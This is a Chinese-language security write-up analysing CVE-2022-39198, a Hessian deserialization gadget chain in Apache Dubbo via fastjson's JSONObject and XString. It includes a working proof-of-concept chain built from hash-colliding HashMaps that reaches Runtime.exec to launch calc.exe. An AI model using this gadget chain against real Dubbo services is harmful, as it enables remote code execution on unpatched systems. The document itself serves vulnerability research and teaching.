前言
无。
漏洞影响
2.7.x < version < 2.7.18
3.0.x < version < 3.0.12
3.1.x < version <= 3.1.0
环境搭建
使用IDEA新建项目,并添加dubbo依赖:
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo</artifactId>
<version>2.7.16</version>
</dependency>
可以看到dubbo同时还依赖了fastjson。
再写一段Hessian序列化和反序列化的代码:
public static byte[] serialize(Object o) {
byte[] bytes = null;
try {
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
ho.writeObject(o);
bytes = bos.toByteArray();
}catch (Exception e) {
e.printStackTrace();
}
return bytes;
}
public static Object unserialize(byte[] bytes) {
Object o = null;
try {
ByteArrayInputStream is = new ByteArrayInputStream(bytes);
HessianInput hi = new HessianInput(is);
o = hi.readObject();
}catch (Exception e) {
e.printStackTrace();
}
return o;
}
漏洞分析
首先JDK中存在一个XString类,可以通过反序列化HashMap触发其equals函数:
public boolean equals(Object obj2)
{
if (null == obj2)
return false;
// In order to handle the 'all' semantics of
// nodeset comparisons, we always call the
// nodeset function.
else if (obj2 instanceof XNodeSet)
return obj2.equals(this);
else if(obj2 instanceof XNumber)
return obj2.equals(this);
else
return str().equals(obj2.toString());
}
可以触发某一个对象的toString函数,类似BadAttributeValueExpException。
而在dubbo的fastjson依赖中,存在一个类com.alibaba.fastjson.JSON,其toString函数会调用toJSONString函数:
public String toString() {
return this.toJSONString();
}
public String toJSONString() {
SerializeWriter out = new SerializeWriter();
String var2;
try {
(new JSONSerializer(out)).write(this);
var2 = out.toString();
} finally {
out.close();
}
return var2;
}
这里会发生从对象到字符串的序列化过程,一般理性而言会访问该对象的getter们。
JSON是一个抽象类,所以实际使用的时候要使用其子类JSONObject。简单测试一下:
JSONObject jsonObject = new JSONObject();
jsonObject.put("xx", new Test());
System.out.println(jsonObject.toString());
一路来到MapSerializer的write函数,该函数会遍历JSONObject的内部Map元素开始序列化,关键代码如下:
preWriter.write(serializer, value, entryKey, null, features);
此时获取到的writer为JavaBeanSerializer,其write函数中会调用getter们:
// JavaBeanSerializer.write
propertyValue = fieldSerializer.getPropertyValueDirect(object);
// FieldSerializer.getPropertyValueDirect
Object fieldValue = fieldInfo.get(object);
// FieldInfo.get
return method != null
? method.invoke(javaObject)
: field.get(javaObject);
可以看到,JSONObject.toString确实会调用一个对象的getter,所以这个漏洞其实是将一个Hessian反序列化漏洞递进到一个getXXX函数调用。
不过存在一个问题,由于使用的是Hessian反序列化,所以这个getXXX函数调用的主体必须是一个可序列化的对象。
参考文章使用UnixPrintServiceLookup对象作为最后的命令执行触发点,该函数的getDefaultPrinterNameBSD函数会调用execCmd函数,execCmd函数中会有一个Runtime.getRuntime().exec()的命令执行点。此外,参考文章在测试环境中还设置了AllowNonSerializable,让UnixPrintServiceLookup这个不可序列化的对象可以正常使用。
修改一下序列化,加上两行:
ByteArrayOutputStream bos = new ByteArrayOutputStream();
HessianOutput ho = new HessianOutput(bos);
ho.setSerializerFactory(new SerializerFactory());
ho.getSerializerFactory().setAllowNonSerializable(true);
ho.writeObject(o);
bytes = bos.toByteArray();
反序列化中不用加,看来Hessian只在序列化时检查可序列化,在反序列化时不会检查。
然而在我的Windows环境下,似乎没有UnixPrintServiceLookup这个类,随便写个测试用类:
class Test {
private final int cmdIndex = 0;
private final String osname = "xx";
private final String[] lpcFirstCom = new String[]{"cmd.exe", "/c", "calc.exe"};
public String[] getDefaultPrinterNameBSD() {
System.out.println("Pwn!");
try {
Runtime.getRuntime().exec(lpcFirstCom);
}catch (Exception e) {
e.printStackTrace();
}
return lpcFirstCom;
}
}
要从HashMap之类的地方触发equals函数,要求hashCode相等。这里就要用到一个神奇的知识点了:
yy
zZ
这两个字符串虽然不一样,但是它们的hashCode是一样的。也就是说,如果我们构造这样的两个成员相同但是key和value相反的HashMap:
HashMap map1 = new HashMap();
map1.put("yy", jsonObject);
map1.put("zZ", xString);
HashMap map2 = new HashMap();
map2.put("yy", xString);
map2.put("zZ", jsonObject);
由于HashMap的hashCode计算方法如下:
// HashMap->AbstractMap
public int hashCode() {
int h = 0;
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext())
h += i.next().hashCode();
return h;
}
// HashMap.Node
public final int hashCode() {
return Objects.hashCode(key) ^ Objects.hashCode(value);
}
即key ^ value之后加在一起,那么map1和map2的hashCode就是一样的。
如果用一个更大的HashMap以这两个HashMap为键,那么就会因为hashCode相同,触发equals函数,HashMap之间的equals函数关键部分如下:
Iterator<Entry<K,V>> i = entrySet().iterator();
while (i.hasNext()) {
Entry<K,V> e = i.next();
K key = e.getKey();
V value = e.getValue();
if (value == null) {
if (!(m.get(key)==null && m.containsKey(key)))
return false;
} else {
if (!value.equals(m.get(key)))
return false;
}
}
简单来说就是会使用equals函数对比相同键下的value,如此一来构造的key和value相反的HashMap就能触发XString.equals(JSONObject),最后的代码如下:
JSONObject jsonObject = new JSONObject();
XString xString = new XString("xx");
jsonObject.put("xx", new Test());
HashMap map1 = new HashMap();
map1.put("yy", jsonObject);
map1.put("zZ", xString);
HashMap map2 = new HashMap();
map2.put("yy", xString);
map2.put("zZ", jsonObject);
HashMap bigMap = new HashMap();
bigMap.put(map1, 1);
bigMap.put(map2, 2);
unserialize(serialize(bigMap));
参考
CVE-2022-39198 Apache Dubbo Hession Deserialization Vulnerability Gadgets Bypass